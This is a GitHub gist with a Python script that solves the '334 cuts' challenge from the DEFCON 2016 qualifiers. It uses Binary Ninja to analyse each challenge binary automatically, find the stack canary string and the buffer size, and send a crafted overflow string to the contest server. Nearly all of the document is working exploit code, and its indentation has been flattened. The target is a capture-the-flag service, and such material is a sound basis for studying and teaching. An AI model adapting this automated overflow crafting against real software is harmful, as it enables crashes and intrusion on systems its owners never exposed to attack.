Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
Script to solve the 334 cuts challenge from DEFCON 2016 quals using Binary Ninja
#!/usr/bin/env python
import sys
try:
import binaryninja
except ImportError:
sys.path.append("/Applications/Binary Ninja.app/Contents/Resources/python/")
import binaryninja
import time
import socket
import base64
s = socket.socket()
s.connect(('334_cuts_22ffeb97cf4f6ddb1802bf64c03e2aab.quals.shallweplayaga.me', 10334))
print "Msg: " + s.recv(1024)
def readUntil(s, delim):
msg = ""
while delim not in msg:
msg += s.recv(1)
return msg
msg = readUntil(s, '\n')
while True:
print
print
# They send us the challenge name to process.
msg = readUntil(s, '\n')
if 'segfault' in msg:
print msg
break
chal = msg.strip()
# Open a binary view to the challenge as an elf
print "Analyzing {0}".format(chal)
bv = binaryninja.BinaryViewType["ELF"].open(chal)
bv.update_analysis()
time.sleep(0.1)
# start at the entry point
print "Entry Point: {0:x}".format(bv.entry_point)
entry = bv.get_functions_at(bv.entry_point)[0] # Get the entry point as a function object
count = 0
start = None
# Iterate over the basic blocks in the entry function
for block in entry.low_level_il:
# Iterate over the basic blocks getting il instructions
for il in block:
# We only care about calls
if il.operation != binaryninja.core.LLIL_CALL:
continue
# The second call is the call to start
count += 1
if count == 2:
start = bv.get_functions_at(il.operands[0].value)[0]
break
print "start: {0}".format(start)
# Do the same thing with main, it's the first call in start
main = None
for block in start.low_level_il:
for il in block:
if il.operation != binaryninja.core.LLIL_CALL:
continue
main = bv.get_functions_at(il.operands[0].value)[0]
print "main: {0}".format(main)
# Collect all the call instructions in main
calls = []
for block in main.low_level_il:
for il in block:
if il.operation == binaryninja.core.LLIL_CALL:
calls.append(il)
# If there are 5, then the memcmp is the second one. With 6 its the 3rd one.
if len(calls) == 5:
memcmp = calls[1]
else:
memcmp = calls[2]
# We assume that ecx contains a reference to the canary string at the memcmp
# This isn't guarenteed to be true but it worked across all 334 challenge binaries
canary_address = main.get_reg_value_at_low_level_il_instruction(memcmp.address, 'ecx').value
canary = bv.read(canary_address, 4)
print "Canary: {0}".format(canary)
buffer_size = 0
total_stack = 0
# Get the stack layout and find the first stack reference past the canary.
# It'll be the buffer to overflow
for stackslot in reversed(main.stack_layout):
if stackslot.offset < (-21 - 8):
buffer_size = last_slot.offset - stackslot.offset
total_stack = (-stackslot.offset) + 4
break
last_slot = stackslot
print "Buffer Size: {0} 0x{0:x}".format(buffer_size)
# Once we know the canary string and the buffer size, we can craft the crashing string
print buffer_size
crash_string = "a" * buffer_size
crash_string += canary[:4]
if total_stack % 4 != 0: # Let's align the total stack size
total_stack += 4 - (total_stack % 4)
crash_string += "a" * (total_stack - buffer_size - 4)
crash_string += '\n'
# Send the crashing string to the service
b64 = base64.b64encode(crash_string)
print chal, canary, crash_string.strip(), b64
s.send(b64 + "\n")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment